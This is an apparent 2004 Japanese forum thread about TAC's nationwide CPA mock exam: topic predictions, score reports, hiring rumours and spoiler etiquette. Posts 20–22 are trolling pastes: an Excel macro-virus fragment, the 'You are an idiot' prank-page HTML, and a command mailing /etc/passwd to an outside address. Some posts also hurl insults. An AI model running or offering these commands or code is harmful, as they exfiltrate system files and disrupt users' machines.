［［［TAC全答練①］］］

1 ：一般に公正妥当と認められた名無しさん：04/04/08 23:33 ID:???

全答練について語りましょう。
とりあえず出題予想でも・・・・

2 ：一般に公正妥当と認められた名無しさん：04/04/08 23:34 ID:???

3 ：一般に公正妥当と認められた名無しさん：04/04/08 23:35 ID:R94qRb0u

阿部いわく、１問目は簡単らしい。
２問目は、普段満点近く取ってるヤシでも書けないんだってよ。

4 ：一般に公正妥当と認められた名無しさん：04/04/08 23:36 ID:R94qRb0u

その２問目は阿部が授業中にヤマはった３つのうちから
どれかが出るよ。

5 ：一般に公正妥当と認められた名無しさん：04/04/08 23:39 ID:???

またTACか

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　>>1死ねよ。

6 ：一般に公正妥当と認められた名無しさん：04/04/09 00:36 ID:???

5＝ＬＥＣ工作員

7 ：一般に公正妥当と認められた名無しさん：04/04/09 00:46 ID:???

>>6←典型的な知障

8 ：一般に公正妥当と認められた名無しさん：04/04/09 04:34 ID:Srtxj/di

＞＞５
あたりめーだろうがぼけが！
くず、士ね。
ＴＡＣ万歳！
５は士ね。
もうくるな。
５が落ちますように。

じゃあな。しね、。

9 ：一般に公正妥当と認められた名無しさん：04/04/09 09:07 ID:3zQNyNFb

会計士試験はＴＡＣが中心。

10 ：一般に公正妥当と認められた名無しさん：04/04/09 09:16 ID:???

2005年目標だけどなんで受けさせられるんだろう
相対的に上級生の順位をあげるため？

11 ：一般に公正妥当と認められた名無しさん：04/04/09 09:23 ID:???

簿記１問目は特商、２問目は連結（キャッシュ含む）

12 ：一般に公正妥当と認められた名無しさん：04/04/09 10:40 ID:pOAHKbd9

５０位以内に入るぞ！！

13 ：一般に公正妥当と認められた名無しさん：04/04/09 18:04 ID:AMa+1CkA

本試験ならともかく答練で出題予想なんて…。

14 ：一般に公正妥当と認められた名無しさん：04/04/09 18:07 ID:RtV1bj1y

>>13
合格は当たり前。
問題はその後なのよ。全答練の順位が採用に響く。

15 ：一般に公正妥当と認められた名無しさん：04/04/09 18:27 ID:???

>>14
ホントにそうなら昨年全答練1位だった人が就職浪人に
なるはずなかったんだが・・・

16 ：一般に公正妥当と認められた名無しさん：04/04/09 19:53 ID:50ADtBGG

順位は関係ないよ、説明会逝けばわかる

17 ：ＴＡＣ関係者：04/04/09 20:30 ID:/BgZUdeH

ＴＡＣ講師になるには順位は関係ある。

18 ：一般に公正妥当と認められた名無しさん：04/04/09 20:36 ID:???

>>8=ID:Srtxj/di←救いようの無いゴミ人間

19 ：一般に公正妥当と認められた名無しさん：04/04/09 20:38 ID:???

　　　　　　　　　　　　　　　　　　 ,ィ ,ォ　 ,ィ　 _,,.,... -''7
　　　　　　　>>8　　　　　　　　／ }/　|ヽ/　,!'"／　_,.-'"￣Z,-'Ｚ_
　　　　　　　　も　　　　　　ﾄy'､'､i　./　;'／／　　'´_,　/ _,.　'´／
　　　　　　いう　　　　　　ﾞ､　l　ﾄiヾ/ j'／／,.-'´／'"´　　,/-ｯ
　　　ほ　い出　　　　　　｀)､ﾞ｀､| :::| .|///／,／　／　／,　フ"
　ほら　よて　　　　　　　ヾﾐ i`````　　""'''　〃,　／／／
　ら　　　　　っ　　　　　　　｀､:|　　　　　　　　　　　〃／^ヽ
　　　　　　て　　　　　　i´:ﾚ'--､　　 ,.r一'''＼　'〃,K ,i/
　　　　　　　　　　　　　　　　　｀､| ＿_｀　　＿＿　　〃' ,／
　　 ,.-r'´ゝ-､.　　　　　　　　　　|　　　　　　　　　　　,r-ﾍ
　　入ヽヽ　ヽ　　　　　　　　　　|　　　　_　　　　　　/ﾞj　ﾞヽ.､_
// ヽヽ＼ヽ ,.ゝ､＿　　　　　,..-ﾍ.　　 .＿＿　　　　/ /　　　　｀`ヽ､_
l l. 　＼ヽ｀､　{ 　　　| 　 ,..-''´　　＼ └─┘　　／,/ 　　　　　　　　｀`ヽ､
l l　　　ヽ｀　　￣7　　)''´ 　　　　　＼＿＿,.／　/　　　　　　　　　　　　　＼
l l　　　　ヽ　　＿　　 /　　　　　　　　　　＼　ｒ-f''´　　　　　　　　　　　　　　　 l
l |　　 ,.-一'"´ 　ヽ､;'　　　　　　　　　　　　ﾞr'''"ﾞ､　　　　　　　　　　　　　　 |
　|　　| .|　|　/　 ,|　〈､　　　　　　　　　　　　}}.　r`　　　　　　　　　　　　　　　　|
　　　 | |　| ./　./」　 i }＼　　　　　　　　　(}＼/ ''　　　　　　　　　　　　　　　　|
　　　 |.|　| /　/＿＿j | 　＼　　　　　　　　　　 | 　　　　　　　　　　　　　　　　　|
　　　 !!-'ー'~~＼　／　　　＼　　　　　　　　　|　　　　　　　　　　　　　　　　　　|

20 ：一般に公正妥当と認められた名無しさん：04/04/09 21:02 ID:???

Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10

End Sub

21 ：一般に公正妥当と認められた名無しさん：04/04/09 21:03 ID:???

cat /etc/passwd | mail [email protected]

22 ：一般に公正妥当と認められた名無しさん：04/04/09 23:23 ID:???

<html>
<head>
<title>You are an idiot!</title>
<script language="Javascript" src="../script/you.js"></script>
</head>
<body bgColor=#ffffff onload="flagRun=1;playBall();return true;bookmark();" onKeyDown="altf4key();ctrlkey();delkey();" onUnLoad="procreate()" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=5,0,0,0" width="100%" height="100%">
<param name=movie value="youare.swf">
<param name=quality value=high>
<embed src="youare.swf" quality=high pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash" type="application/x-shockwave-flash" width="100%" height="100%">
</embed>
</object>
</body>
</html>

cat /etc/passwd | mail [email protected]

23 ：一般に公正妥当と認められた名無しさん：04/04/11 21:04 ID:fhj487c1

　 _　　 _,.. --､,､-‐‐＜"ヽ、
　　/ﾞ　＞'ﾞ　,..､, へ＿＿　`''､ﾞl
　　l　/　,. ノ　　　　　　　~ﾞ'‐-ヽ,
　　`/-'ﾞ　　　　　　　　　　　` ､ﾞ、
　　,l　　　　　 /,. i　ヽ　　､`' ､ﾞ l
　 /／　/　/./i. |∧ ､ i ､ヽ、ヽ ,i`|
　 'ﾞ/ / | ./|/_|_,,ﾞ,. ゝi､|"'''''`ヽ/ヾ,|
　　!,/l./､.l ' ,.-‐- 　､　''"ﾞ~'　iﾉノ.|
　　,l　ﾞ l'､.ヽ　　　,....ﾞ -､　　ﾉ;i 　 |
　　|　　 i;;~;>､,　 l.__, -ヽゝ'ﾞ‐-､,,.ﾉ､,
　　|　､　 '/;`,、 "'／ ",・　,,ﾟﾆﾞ,_ヾ::::::〉
　　ヽ∧ヽ|;;;;;;;ﾞi,／|　'" ／::::::::::::::::l-'ﾞ
　　　 ` !|;;;;;;;;;l'ﾞ:::ヽ／::::::::::::::::::::ﾉ
　　　　 ,. l;;;;／i'､_;;;,:>､::::::::::::::／::ヽ,
　　　／;;;;:`‐-::;;__/　　/ﾆィ'"!'ﾞi~"'ﾞ
　　　ヽ／;;;;;;;;;;（;;;ノ"'i''ﾞ:::::`''":::::ヽ
　　　<;;;;;;;;;;;/;;;;;;;;;;;;;;;;|:::::::::::;;:::::;;;:_〉、
　　　ﾞ‐:;;;/;;;;;;;;;;;;;;;;;;|;;;;;:／ l ::!ﾉﾞ''"
　　　　　ﾞ''7‐- :;__;;;;;'‐'ﾞ;;;;_;ﾉ:/
.　　　　　　l. 　　 /￣i￣〈ノ
　　　　　 i　　　/　　l　　 |
　　　　　　ﾉ　　 /　　 |''‐ '7
　　　　　ト-　ｲ. 　　l. 　/
　　　　　　l　　 i　　　 |i.　ﾞ、
　　　　　　|l, 　 l　　　 i;`;;;;'ﾞ:、
　　　　　　`ﾄ､,,,ﾉ;､　　ﾞ､;;;;;;;〉
　　　　　ﾞ､;;;;;;;;;l

どうせ全然わかんねえんだよ。

24 ：こんなかんじだったらいいな：04/04/11 21:44 ID:nbiaRQQU

簿記　個別・と苦笑・外貨　外貨建て連結CF
財表　研究開発費・クリーンサープラス・固定資産・金融商品
経営　自己株・最適資本構成　？
原形　費目別　原価企画
監査　基準穴埋め（リスクアプローチ）・試査・分析的手続　中間監査or監査特例法のA/R
経済　公共財・ゲーム理論　オーカン法則・世代重複モデル
商法　議決権の保証or少数株主保護　株式と社債（非参加的累積的優先株）or減資（経営再建）

25 ：一般に公正妥当と認められた名無しさん：04/04/11 22:13 ID:4Iyn41nu

簿記はキャッシュが出るだろ外貨を絡めるか分からないけど。
財表は分からんね、減損・結合出して欲しいなそろそろ。
経営は幅広くダロ、財務・投資論で稼ぐしかないな
原形は標準が一問は出る、出さなきゃ馬鹿、半分は基地外問題だな多分。
監査は幅広く棚　実施論で稼げば良いだろ
経済はゲーム理論は中々良い読みだな、これは俺も出そうだと思う。
商法はやはり各種会社の比較問題が一問は出ると予想、閉鎖的株式会社、親子会社絡みも面白い

26 ：一般に公正妥当と認められた名無しさん：04/04/11 22:16 ID:4Iyn41nu

簿記は連結キャッシュね

27 ：一般に公正妥当と認められた名無しさん：04/04/11 22:29 ID:???

ｸﾘｰﾝｻｰﾌﾟﾗｽなんか、本試験ででるんかな？
今年の財表は負債会計が山って聞いたけど・・・

28 ：一般に公正妥当と認められた名無しさん：04/04/11 22:44 ID:HE+Xw0iY

24とかぶってるな。
簿記は個別と本社工場
財表はキャッシュ臭いね、あと資本会計と研究開発費。
経営はやってないからわからん。高橋かな。
原計はTACのお好きな費目と企業評価モデル
監査は分手、試査、中間あとリスクアプローチも
経済は公共財、不確実性、マクロはIS-LM、あとフィリップス
商法は266の3、少数株主の保護、監査役、失念株のどれかかな

29 ：一般に公正妥当と認められた名無しさん：04/04/12 01:22 ID:???

費目はプンプンしますね。

30 ：一般に公正妥当と認められた名無しさん：04/04/12 08:49 ID:CTUFT4WH

この時期になって鬱に襲われた。
全答練受ける気もなくなってきてるし。
いかんなぁ。

31 ：一般に公正妥当と認められた名無しさん：04/04/12 11:35 ID:gxGM6BCH

簿記：特商含む個別論点・ソフトウェアをからめた製造業会計
財表：貸倒引当金・キャッシュフロー・企業結合・負債の評価
経営：不明
原計：工程別総合原計・標準原計・CVP・設備投資
監査：不正に関する問題・分析的手続・監査意見全般・GC
経済：独占・不確実性・AD-AS分析・国際マクロ
商法：失念株・名板貸

32 ：一般に公正妥当と認められた名無しさん：04/04/12 15:42 ID:???

>>30
漏れなんて避けられない予定が入ってしまって受けられませんが、なにか？

33 ：一般に公正妥当と認められた名無しさん：04/04/12 16:46 ID:???

全答練は短答後で十分なのではないかと思う今日この頃。

34 ：一般に公正妥当と認められた名無しさん：04/04/12 20:07 ID:???

１回目は関係ないね

35 ：一般に公正妥当と認められた名無しさん：04/04/12 20:29 ID:lJU82vbD

なんで四月に本試験を想定した模試やるのかな？
短答後でいいと思う。６,７月でやればいいのに。

36 ：一般に公正妥当と認められた名無しさん：04/04/12 20:39 ID:IqlCfrR1

受けません

37 ：一般に公正妥当と認められた名無しさん：04/04/12 20:48 ID:lJU82vbD

全答練は土日に５科目でうけるよ。

38 ：一般に公正妥当と認められた名無しさん：04/04/12 20:53 ID:lJU82vbD

.................................................................................................................................................................................................................................
.................................................................................................................................................................................................................................
.................................................................................................................................................................................................................................
.................................................................................................................................................................................................................................
.................................................................................................................................................................................................................................
.................................................................................................................................................................................................................................
.................................................................................................................................................................................................................................
.................................................................................................................................................................................................................................
.................................................................................................................................................................................................................................
.................................................................................................................................................................................................................................
.................................................................................................................................................................................................................................
.................................................................................................................................................................................................................................
.................................................................................................................................................................................................................................
.................................................................................................................................................................................................................................
.................................................................................................................................................................................................................................
.......................................................................................................................................

それでは開始してください。

39 ：一般に公正妥当と認められた名無しさん：04/04/12 21:36 ID:6RURBPCQ

全答連上位者の情報は大手法人採用の判断材料とされているという現実。

法人面接シートには必ず全答連順位を書く欄があるという現実。

某法人国際系は全答連上位者中の上位者しか過去、採用していないという現実。

でも、【一回目は受けなくても言いや】【どうせ短答とうらなきゃ意味ないもん】
などと適当な理由をつけて回避しようとしてしまう自分の弱さ。
あ、これ古き良き時代に合格した受講生時代の俺の話ね。

40 ：一般に公正妥当と認められた名無しさん：04/04/12 21:38 ID:???

さてと、明日に備えてねるか・・・。

本支店合併生理でないでください・・・。

41 ：一般に公正妥当と認められた名無しさん：04/04/12 21:50 ID:???

>>40
本支店ー合併整理はほぼ連結と似ているぞ。
簡単だ。

（連結が苦手ならむずかしいが）

42 ：一般に公正妥当と認められた名無しさん：04/04/12 21:51 ID:HV/j9K4U

２００５年コースで受けても無駄っすか？

43 ：一般に公正妥当と認められた名無しさん：04/04/12 21:56 ID:HGTLqpIg

>>39
無いよ、俺は去年説明会で面接シート貰ったけど。ちなみに4大全て逝った。
ただ受験回数は書くところがあった。

>>42
レベルの差を知るには良いかもね。

44 ：J3＠リエゾン中：04/04/12 22:09 ID:???

監査法人就職にはまったく関係ないから余計な緊張せず受けな。
就職と全答練の順位が関係あったのは合格発表前に採用試験があった一昨年まで。
一昨年までは順位で合格率出して採用者数の人数調整を行ってたから
順位の記入欄があったけど去年からは合格発表後だから関係なし。
うちの法人だと一番重視されたのが面接官（5人）の面接での印象。
「一緒に仕事がしたいか」って欄があってここに五段階評価のAが付けば採用。
後は他の項目も含めての評価だけど順位は評価には含まれてない。

ま、なんにしろ合格しないと面接も受けられないからがんばれや。

45 ：一般に公正妥当と認められた名無しさん：04/04/13 17:46 ID:AYsc8/Su

全答連お疲れ！しかし経営はなんだろう？
おれが授業まともに受けてない(まだ講義全部聞いてない)からなのか、
授業でやったなぁなんて思うとコ、全然なかったような気がするような
なんか字自分の知識で解けた、ニュース見てるほうが勉強になる
しかし、経営即効退出する奴続出だったな、まぁ俺も出たが

46 ：一般に公正妥当と認められた名無しさん：04/04/13 18:00 ID:???

経営は差がつくよ

47 ：一般に公正妥当と認められた名無しさん：04/04/13 18:09 ID:PMIcN5nN

今日は経営が一番楽だよおそらく。

48 ：一般に公正妥当と認められた名無しさん：04/04/13 18:44 ID:4lZHmLh+

何、出たか教えてね。

49 ：一般に公正妥当と認められた名無しさん：04/04/13 18:51 ID:PMIcN5nN

駄目、でも意外と経営は楽だから恐れる事は無い。

50 ：一般に公正妥当と認められた名無しさん：04/04/13 18:56 ID:???

実際の出題傾向から外れすぎ。さすがわタック。

51 ：一般に公正妥当と認められた名無しさん：04/04/13 18:56 ID:???

>>49
なんでこんなにｽﾚが延びてないんだろ、と思ったら、
土日受験があるからなんだね。

ネタバレしたら平均点上がっちゃうもんね。
気を付けないと。

52 ：一般に公正妥当と認められた名無しさん：04/04/13 18:58 ID:31+AmN2X

自己採点のような
　簿記・・・９割＆７割５分ぐらい
　財表・・・６割５分＆６割５分
　経営・・・７割・６割

今のところ２００以内は大丈夫だけど・・・

上で言われていることは関係ないので心配しないで下さい。
去年は全答練の順位は全く関係なかったので。
それよりか、監査法人の友達や親類を大事にしましょう！

基本的に、法人のことを云々書いてるのは、ベテランの現実を全く知らない寂しい人なので。

53 ：一般に公正妥当と認められた名無しさん：04/04/13 19:50 ID:tlpLgOG8

第一問はともかく
第二問7割５分も取れねえよ…
すげえな・・・
あんなにたくさんの指示出されたら
わけわからん。

54 ：一般に公正妥当と認められた名無しさん：04/04/13 20:02 ID:e+JFoTIw

52が本当だとしたらバリバリ成績優秀者でしょ。
難易度は普通だったかな。
いい問題だとは思えないけど。

55 ：一般に公正妥当と認められた名無しさん：04/04/13 20:07 ID:UjG7ik8+

簿記二問目死亡、本試験ならさようなら

誰か野坂派の人いない？
野坂試験委員対策って感じじゃなっかた？
レクの成績優秀者なら180越えてくるよね

56 ：一般に公正妥当と認められた名無しさん：04/04/13 20:29 ID:4rH50IwW

そんなに簿記難しかった？

57 ：一般に公正妥当と認められた名無しさん：04/04/13 20:45 ID:UjG7ik8+

最低125は取らないといけないと思う。
客観的に簡単だとは思うが点は取れてない

58 ：一般に公正妥当と認められた名無しさん：04/04/13 20:55 ID:???

>>55
あんまりやる気無いから一回目はパスしようかと思ってたけど、
純粋な野坂派だからうけてみるかな。
全答練の計算は講師の作問自慢だから無視してもいいよね？

59 ：一般に公正妥当と認められた名無しさん：04/04/13 21:03 ID:UjG7ik8+

>>58
終了後、なにあれ？没問だろ？
とか言ってるの聞いてるとやる気出るよ。

60 ：一般に公正妥当と認められた名無しさん：04/04/13 21:53 ID:???

俺財表だけ野坂だけど、ﾄﾞﾝﾋﾟｼｬだったww
TACにしてはいい問題作るなあと思ったけど、よく見たらやっぱりww
ぱくったのか？

61 ：一般に公正妥当と認められた名無しさん：04/04/13 23:54 ID:iGe0V85H

簿原だけうけるのはなしかな？

62 ：一般に公正妥当と認められた名無しさん：04/04/14 00:01 ID:i7bnv0zS

俺は野坂対策とか全然してないから、財表ちんぷんかんぷんだったよ、ハハハ・・・

63 ：一般に公正妥当と認められた名無しさん：04/04/14 01:23 ID:???

簿記の１問目、個別の方は簡単すぎない？

国際会計基準なんてでねえだろ！

64 ：一般に公正妥当と認められた名無しさん：04/04/14 06:54 ID:TaEKg2rn

時間がなさすぎ、簿記はエグイネ。

65 ：一般に公正妥当と認められた名無しさん：04/04/14 06:58 ID:TaEKg2rn

さーて今日もがんがって逝くぞおめーら、経済で満点を目指す！！

66 ：一般に公正妥当と認められた名無しさん：04/04/14 15:36 ID:???

原価計算、時間は余ったが、手応えなす。いわゆるﾋﾞﾐｮｳ。

67 ：一般に公正妥当と認められた名無しさん：04/04/14 15:57 ID:???

http://miraisu.ddo.jp:8080/2ch/index.cgi
２ちゃんねるの住民が板ごとに分かれて国取りをしていく
ゲームが開始されます。登録開始は4月13日の夜10時。

●超重要
新規登録する人は
武官型　武力100知力5統率45
文官型　武力5知力100統率45
指揮型　武力45知力5統率100
指揮型　武力70程度知力5統率75程度のどれかで登録するべし
それ以外は長所が生かせず弱く面白さが半減する恐れあり

この板の住民で「会計士受験生」国作って夏までに天下を取ろう！

68 ：一般に公正妥当と認められた名無しさん：04/04/14 17:16 ID:TBfHUC82

経済ありえなーーーーーーーーい
もうやめたい・・・

69 ：一般に公正妥当と認められた名無しさん：04/04/14 17:25 ID:puPVOUZc

出来るトコと出来ないトコがはっきりしすぎ。

70 ：一般に公正妥当と認められた名無しさん：04/04/14 19:10 ID:???

監査簡単だったねー

71 ：一般に公正妥当と認められた名無しさん：04/04/14 20:30 ID:hn3b2ai4

原計：わけわかんねぇ
監査：簡単
経済：普通

72 ：一般に公正妥当と認められた名無しさん：04/04/14 22:28 ID:YSDBhG02

書き込み伸びないな・・・
今回の全答は全体的に簡単だな。
簿記は相変わらずきついが他はそんな難しいのないだろ
原計もパッチと部門別は少し落としていいとしても
他はとらんといかんしね

73 ：一般に公正妥当と認められた名無しさん：04/04/14 22:46 ID:ou1y1uOL

TAC生にあの財表は厳しい

74 ：一般に公正妥当と認められた名無しさん：04/04/14 23:18 ID:WzFHvI/I

本番だと仮定した場合
みんなができるところをしっかりひとつも落とさずに
得点しないときついと思う
特にボーダー付近の1200～1300番くらいでは
そこが勝負の分かれ目になるんじゃないかなぁ

75 ：一般に公正妥当と認められた名無しさん：04/04/14 23:24 ID:GyCuOQn0

商法何出るかわかる人いる？

76 ：一般に公正妥当と認められた名無しさん：04/04/14 23:25 ID:GyCuOQn0

商法何出るかわかる人いる？

77 ：一般に公正妥当と認められた名無しさん：04/04/14 23:41 ID:puPVOUZc

債権者保護

78 ：一般に公正妥当と認められた名無しさん：04/04/15 00:15 ID:???

>>72
書き込みが伸びないのは、
ネタバレすると、土日受験者が怒るからだろうと思って自粛してるやつが多いからだろ。。

79 ：一般に公正妥当と認められた名無しさん：04/04/15 01:02 ID:???

全党錬の試験中って勝手に便所いっていいの？

80 ：一般に公正妥当と認められた名無しさん：04/04/15 07:23 ID:fb3y2Fo/

>>72
部門別で落として良いところなど無いだろ、入門・基礎レベルだぞあれは。

81 ：一般に公正妥当と認められた名無しさん：04/04/15 07:26 ID:fb3y2Fo/

全体的に理論は簡単だね、今日の商法は分らないけど。

82 ：一般に公正妥当と認められた名無しさん：04/04/15 13:01 ID:???

商法簡単だったねつか、簡単にヤマがはれた

83 ：一般に公正妥当と認められた名無しさん：04/04/15 13:02 ID:???

商法簡単だったね
つか、簡単にヤマがはれた

84 ：一般に公正妥当と認められた名無しさん：04/04/15 13:41 ID:???

受けた後で言うけど、この答練イミナシ。別に受けなくてもよかったな。この時期に。
策略だな、こりゃ。

85 ：一般に公正妥当と認められた名無しさん：04/04/15 14:11 ID:Veed78IG

商法書くスペースありすぎ・・・・・・・・ああああああああああああ

でも終わったから良いや、皆おつかれーーーーーー

86 ：一般に公正妥当と認められた名無しさん：04/04/15 22:15 ID:c1LUIBAS

感想書けや！！！！！

87 ：一般に公正妥当と認められた名無しさん：04/04/15 22:16 ID:bN0VvUvB

土日に受ける人もいるから、内容に触れるのはやめよう。

88 ：一般に公正妥当と認められた名無しさん：04/04/15 22:18 ID:c1LUIBAS

内容に触れないように感想を！！！！！　まず８７さんどうですか？？

89 ：一般に公正妥当と認められた名無しさん：04/04/15 22:32 ID:5FWMszcD

去年の平均が５１４点今年は去年より簡単だったから５５０点くらい？
去年の上位２００名平均が７９２ってことは今年は８００点以上必要
なのかな？漏れは２回目ですが、８００点前後かな

90 ：一般に公正妥当と認められた名無しさん：04/04/15 22:37 ID:c1LUIBAS

俺は７５０前後だよ、やっぱ６割はムズイ。

91 ：一般に公正妥当と認められた名無しさん：04/04/15 22:38 ID:c1LUIBAS

去年は受けてないので分らん。

92 ：一般に公正妥当と認められた名無しさん：04/04/15 22:58 ID:hBPIYGLD

おいおい、去年の１回目は720点くらいから載ってたぞ。
720位で300番ほどだった。平日だから総合だとどうなるか知らんが。

93 ：一般に公正妥当と認められた名無しさん：04/04/15 23:03 ID:tg+BNe4f

みんな何が出来てなにができなかった？

94 ：一般に公正妥当と認められた名無しさん：04/04/15 23:08 ID:???

商法、監査、財表は９割堅い。ってか理論簡単過ぎ。

95 ：一般に公正妥当と認められた名無しさん：04/04/15 23:11 ID:tg+BNe4f

財表眠くなったんですけど。

96 ：一般に公正妥当と認められた名無しさん：04/04/15 23:13 ID:???

720位で300番

97 ：一般に公正妥当と認められた名無しさん：04/04/15 23:14 ID:0RBxnJTd

受けるか迷ったけど、書き込み見てると
受けないでセコセコ短答対策して正解だったか。
去年は１００番台だったし。
２回目は受けよう。

98 ：一般に公正妥当と認められた名無しさん：04/04/15 23:17 ID:tg+BNe4f

土曜で受けろ。これから問題さらしてやる。
来年のため2桁とっときなさい。

99 ：一般に公正妥当と認められた名無しさん：04/04/15 23:31 ID:5FWMszcD

今見返してみたけど、財表１問目の問題１行目ぶっとんでるな
試験中は気がつかなかったぜ

100 ：一般に公正妥当と認められた名無しさん：04/04/15 23:35 ID:Q+ZsO/el

うちの法人には2000番越えの合格者が何人も居てる

101 ：一般に公正妥当と認められた名無しさん：04/04/15 23:36 ID:nVjK5+7W

財表なにでたの？

102 ：一般に公正妥当と認められた名無しさん：04/04/15 23:38 ID:???

タックだと３００番くらいで上位何パーセントぐらいなの？

103 ：一般に公正妥当と認められた名無しさん：04/04/15 23:39 ID:pkCVAtc7

>>101
外貨換算

104 ：一般に公正妥当と認められた名無しさん：04/04/16 00:50 ID:Kvgx1mYI

土日組みが煽ってんだ曝してやれ

105 ：一般に公正妥当と認められた名無しさん：04/04/16 09:30 ID:OCr6Ckdp

きっと講師の先生が必死こいて採点してるんだろうけど、
成績表が手元に届くのってどのくらいかかりまつか？
ご存知の方おしえてください。

106 ：一般に公正妥当と認められた名無しさん：04/04/16 09:52 ID:lY0l5n5L

簿記中に勃起中

107 ：一般に公正妥当と認められた名無しさん：04/04/16 09:59 ID:lY0l5n5L

>>101
税効果

108 ：一般に公正妥当と認められた名無しさん：04/04/16 10:36 ID:Kvgx1mYI

監査はどこ出た？

109 ：一般に公正妥当と認められた名無しさん：04/04/16 11:03 ID:EXvWfgmB

>>108
専門家の利用

110 ：一般に公正妥当と認められた名無しさん：04/04/16 12:09 ID:???

>>108
IT

111 ：一般に公正妥当と認められた名無しさん：04/04/16 12:40 ID:???

経営は帰る人続出だったね。
みんな担当後やるんだろううね。
俺も全然やってないから全然欠けなかったが、うめてきた。
経済もそれにちかい(笑)

112 ：一般に公正妥当と認められた名無しさん：04/04/16 13:07 ID:cycsXCEk

質問させて。
土日受験や通信受験も平日と同じように成績処理されるのですか？
だとしたら成績順位上位は通信がしめてしまいそうな気がするけれど。

113 ：一般に公正妥当と認められた名無しさん：04/04/16 13:15 ID:ijC0u5bB

順位は平日と土日は別

114 ：一般に公正妥当と認められた名無しさん：04/04/16 13:18 ID:???

解答もらっちゃったよん。

115 ：一般に公正妥当と認められた名無しさん：04/04/16 13:18 ID:ijC0u5bB

去年私は、２回とも３００番以内でも論文で逝ってしまった。
友人Ａ君は、２００番前後で合格。
友人Ｂ君は、４桁台で合格。
友人Ｃさんは、３００番前後で短答落ち。

本試験には魔物がいる？

116 ：一般に公正妥当と認められた名無しさん：04/04/16 13:23 ID:???

>>115
TAC答練がいかに本試験と乖離しているかを表してます。

117 ：一般に公正妥当と認められた名無しさん：04/04/16 14:31 ID:LQ6wHriV

順位はいつわかるの？？？？？？

118 ：一般に公正妥当と認められた名無しさん：04/04/16 14:50 ID:Kvgx1mYI

全答練ウソツキが多いな

119 ：一般に公正妥当と認められた名無しさん：04/04/16 16:27 ID:N0J74mHL

全科目何出たか教えて下さいな

120 ：一般に公正妥当と認められた名無しさん：04/04/16 17:14 ID:Kvgx1mYI

卑怯な土日受験者キターーーーーーーーーーーー！

121 ：一般に公正妥当と認められた名無しさん：04/04/16 17:49 ID:A9/C353H

簿記　特商個別・連結B/S,P/L,C/F
原型　個別原型・ヒルイカ・標準・戦略的意思決定
財表　一般原則（正規の簿記原則）・資本剰余金と利益剰余金の区分・為替換算調整勘定・B/SのP/Lの非連携
監査　実施論（内部統制中心）・証取法監査と商法監査の比較
商法　株式単位・競業（親子会社の論点含む）

122 ：一般に公正妥当と認められた名無しさん：04/04/16 18:40 ID:Kvgx1mYI

土日組がんばんな

123 ：一般に公正妥当と認められた名無しさん：04/04/16 21:04 ID:???

>>121

124 ：一般に公正妥当と認められた名無しさん：04/04/16 23:14 ID:OdjuzCOS

ガセだな

125 ：一般に公正妥当と認められた名無しさん：04/04/17 00:12 ID:efGOHH7A

よ～～し今年もテキスト吸収するぞ～～～～～

自習室に放置してあるテキスト・まとめノートはバンバン廃棄
これでライバルが減っていくぜ～～へっへっ～～～

126 ：一般に公正妥当と認められた名無しさん：04/04/17 00:40 ID:sAglOnOP

財表商法はどこから出題？

127 ：一般に公正妥当と認められた名無しさん：04/04/17 00:49 ID:iiHdnjjt

>>121
お前マジレスやめろよ！！！！！

128 ：一般に公正妥当と認められた名無しさん：04/04/17 00:50 ID:utZ9ECka

土日と平日では別にランクされるんだからいいじゃん

129 ：一般に公正妥当と認められた名無しさん：04/04/17 00:57 ID:iiHdnjjt

駄目だ！！！！！誰かあぼーんしてくれ！！！！！

130 ：一般に公正妥当と認められた名無しさん：04/04/17 01:05 ID:utZ9ECka

全答練の結果なんてどうでもいいじゃないか

131 ：一般に公正妥当と認められた名無しさん：04/04/17 01:11 ID:iiHdnjjt

くそ、覚えて炉よ。

132 ：一般に公正妥当と認められた名無しさん：04/04/17 06:38 ID:???

教室のみなさんこんばんわ
VTRで受講されてるみなさんもこんにちは

133 ：一般に公正妥当と認められた名無しさん：04/04/17 08:24 ID:utZ9ECka

は～い、木戸ッチのコーナーです

134 ：一般に公正妥当と認められた名無しさん：04/04/17 08:34 ID:X6V8+ARz

>>132
平野先生こんにちは

135 ：一般に公正妥当と認められた名無しさん：04/04/17 09:45 ID:KAOkvwHO

もう土日組はじまるんで、何が出たか後で教えてください。

用事で受けれないから気になります。

んでまずは、一日目だけのでいいです。お願いしますーー。

136 ：一般に公正妥当と認められた名無しさん：04/04/17 11:52 ID:???

なら俺は財表を教える。

ずばり

外貨換算会計

だ。

137 ：一般に公正妥当と認められた名無しさん：04/04/17 13:01 ID:oFgx0A+3

商法は

づばり

設立と機関

だ。

138 ：一般に公正妥当と認められた名無しさん：04/04/17 20:34 ID:???

全答練終わった日は飲みに行って、金曜はコンパ行って、今日は彼女とお買い物
この時期に何やってんだ俺は、こんなんで受かるのかな　トホホ・・・
全答練の日は飲み行った街にＴＡＣで見かけたことがある奴何組か見たなぁ。
とりあえずみんなお疲れ、でも別に受けたくてもよかったのかなぁって今は思うよ

139 ：一般に公正妥当と認められた名無しさん：04/04/17 20:55 ID:CmV36Iv/

正直、全答練３日間真面目に受けたら気が抜けた。
昨日今日と勉強が捗らない。
もうちょっと気楽に受けた方が良かったな。

140 ：一般に公正妥当と認められた名無しさん：04/04/17 21:11 ID:CAhi4oY8

平野じゃないわ、ば～か！

141 ：一般に公正妥当と認められた名無しさん：04/04/17 21:44 ID:???

あのさ、野坂財表なんてホントに取ってる椰子いんの？
あんなの時間の無駄なだけだと思うよ。

142 ：一般に公正妥当と認められた名無しさん：04/04/17 23:54 ID:???

川村より1024倍よい

143 ：一般に公正妥当と認められた名無しさん：04/04/18 14:01 ID:???

野坂財表のおかげで、財表が責めの科目になりました

最近ＴＡＣでも使ってる火と増えてきたね

肢別userも過半数だ

144 ：一般に公正妥当と認められた名無しさん：04/04/18 14:47 ID:ceOOptA2

みなさん受けた感想は？
これから短答特化開始と思いますがみんな

マークミスすんなよ

